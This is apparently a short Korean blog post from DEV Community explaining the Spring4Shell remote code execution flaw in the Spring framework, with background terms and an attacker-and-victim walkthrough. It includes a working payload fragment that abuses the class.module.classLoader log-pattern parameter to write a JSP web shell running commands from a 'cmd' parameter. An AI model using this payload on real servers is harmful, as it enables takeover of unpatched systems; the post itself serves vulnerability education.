DEV Community

Se-ok Jeon
Se-ok Jeon

Posted on • Edited on

Spring4Shell

개요

Spring4Shell 취약점은 CVSS 9.8점을 받으며, 원격 코드 실행(RCE) 공격이 가능해 매우 치명적입니다.

용어

이름

Log4Shell과 마찬가지로 Spring4Shell은 쉘을 획득하기 위해 Spring을 악용하는 취약점입니다.

Spring

Spring은 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크로, 웹 사이트를 개발할 때 주로 사용됩니다.

과정 개요

  1. 유출 된 Spring의 HTTP Parameter 클래스 제어 인터페이스를 활용하여 웹 쉘을 업로드하고,
  2. 웹 쉘로 서버 원격 명령 실행 공격!

Spring의 HTTP Parameter 클래스 제어 인터페이스

HTTP

HTTP(하이퍼텍스트 전송 프로토콜)는 웹에서 클라이언트와 서버 간의 데이터 통신을 위한 프로토콜입니다. 웹 페이지 요청 및 전송, API 호출 등 다양한 용도로 사용됩니다.

HTTP Parameter

HTTP Parameter는 클라이언트가 서버에 요청을 보낼 때 포함되는 데이터의 일부분으로, 주로 URL 쿼리 문자열이나 HTTP 요청 본문에 포함됩니다. 이러한 매개변수는 서버가 요청을 처리하는 데 필요한 정보를 전달합니다.

클래스 제어 인터페이스

예를 들어, 상품 거래 페이지에서는 거래에 대한 정보를 처리하기 위해 거래 객체를 사용합니다. 사용자가 거래 관련 정보를 보내면, Spring은 이를 객체에 저장하기 위해 *Mapping이라는 컨트롤러 기능을 활용합니다. 그러나 *Mapping 컨트롤러는 내부적으로 getCachedIntrospectionResults라는 메소드를 사용하며, 이 메소드에서는 클래스에 대한 적절한 검사가 부족하여 공격자가 로그의 형태로 악성 코드를 삽입할 수 있는 취약점이 존재합니다.

실습

세부 과정

공격자 입장

  1. 객체를 사용할 만한 페이지를 찾고,
  2. 해당 페이지에서 노출된 클래스 제어 인터페이스를 이용하여 웹 쉘을 업로드 code fragment to upload webshell
"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}i "\
f"java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter"\
f"("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048];"\
f" while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i"
Enter fullscreen mode Exit fullscreen mode
  1. 업로드한 웹 쉘에 접근하여 원격 명령 실행 공격 수행 RCE

피해자 입장

  1. 요청을 받고 클래스 제어 인터페이스의 조작에 따라 웹 쉘 파일 받아쓰기 uploaded webshell

Top comments (0)